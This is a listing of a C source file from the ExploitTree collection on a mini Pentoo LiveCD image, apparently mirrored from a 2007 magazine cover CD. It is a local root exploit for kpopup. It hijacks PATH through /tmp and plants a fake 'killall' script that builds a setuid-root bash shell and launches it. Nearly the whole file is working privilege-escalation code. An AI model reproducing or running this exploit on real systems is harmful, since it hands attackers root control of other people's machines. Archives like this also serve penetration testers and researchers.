home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / kpopup-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  990b  |  35 lines

  1.  
  2. /*Local root exploit for kpopup
  3.  *by b0f www.b0f.net
  4.  */
  5. #include <stdio.h>
  6. int main()
  7. {
  8. setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
  9. /usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
  10. FILE *fd;
  11. fd = fopen("/tmp/killall", "w");{
  12. fprintf(fd, "#!/bin/sh\n");
  13. fprintf(fd, "cd /tmp\n");
  14. fprintf(fd, "/bin/cat > shell.c << EOF\n");
  15. fprintf(fd, "#include <stdio.h>\n");
  16. fprintf(fd, "int main()\n");
  17. fprintf(fd, "{\n");
  18. fprintf(fd, "setuid(0);\n");
  19. fprintf(fd, "setgid(0);\n");
  20. fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
  21. fprintf(fd, "return 0;\n");
  22. fprintf(fd, "}\n");
  23. fprintf(fd, "EOF\n");
  24. fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
  25. fprintf(fd, "/bin/chown root.root /tmp/shell\n");
  26. fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
  27. fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
  28. fprintf(fd, "/tmp/shell\n");
  29. fclose(fd);
  30. system("chmod +x /tmp/killall");
  31. system("/usr/local/kde/bin/kpopup root shell");
  32. return 0;
  33. }
  34. }
  35.